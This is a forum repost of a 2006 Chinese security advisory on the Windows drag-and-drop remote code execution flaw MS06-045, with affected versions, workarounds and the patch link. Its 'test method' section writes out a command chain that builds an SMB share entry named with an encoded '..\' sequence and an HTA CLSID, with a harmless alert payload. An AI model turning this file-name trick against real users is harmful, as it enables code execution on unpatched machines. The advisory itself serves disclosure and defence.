发新话题
打印

[转载]Microsoft Windows拖放操作远程代码执行漏洞(MS06-045)

[转载]Microsoft Windows拖放操作远程代码执行漏洞(MS06-045)

信息来源:绿盟科技

发布日期:2006-07-27
更新日期:2006-08-09

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 19389
CVE(CAN) ID: CVE-2006-3281

Microsoft Windows是微软发布的非常流行的操作系统。

Microsoft Windows没有正确的处理拖放事件,本地攻击者可能利用此漏洞提升自己的权限。

远程攻击者可以创建文件名中包含有编码的“..\”(%2e%2e%5c)序列且扩展名中包含有HTML应用(HTA)的CLSID Key标识符的SMW文件共享,并诱骗用户访问到这个共享的链接,导致执行任意代码。

<*来源:Plebo Aesdi Nael (plebo@gmx.net
  
  链接:http://secunia.com/advisories/20825/print/
      http://lists.grok.org.uk/piperma ... PLEBO-2006.06.16-IE
      http://www.microsoft.com/technet/security/bulletin/ms06-045.mspx
      http://www.us-cert.gov/cas/techalerts/TA06-220A.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

假设C:\SmbPubRO通过SMB \\192.168.0.5\SmbPubRO共享。

运行CMD,进入C:\SmbPubRO,然后输入以下命令:

   mkdir test && cd test && mkdir %2e%2e%5cx.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B} && echo "<html><body><iframe width=300 height=300 src=&#39;./&#39; ></iframe>" > test.html && cd .. && echo "<html><body><script>alert(&#39;hallo&#39;)</script>" > x.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}

最后打开IE到\\192.168.0.5\SmbPubRO\test\test.html,并双击标记为%2e%2e%5cx的图标。

建议:
--------------------------------------------------------------------------------
临时解决方法:

* 禁用Web客户端服务。
* 禁用file: protocol handler。
* 在防火墙处阻止TCP端口139和445。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS06-045)以及相应补丁:
MS06-045:Vulnerability in Windows Explorer Could Allow Remote Code Execution (921398)
链接:http://www.microsoft.com/technet/security/bulletin/ms06-045.mspx

TOP

发新话题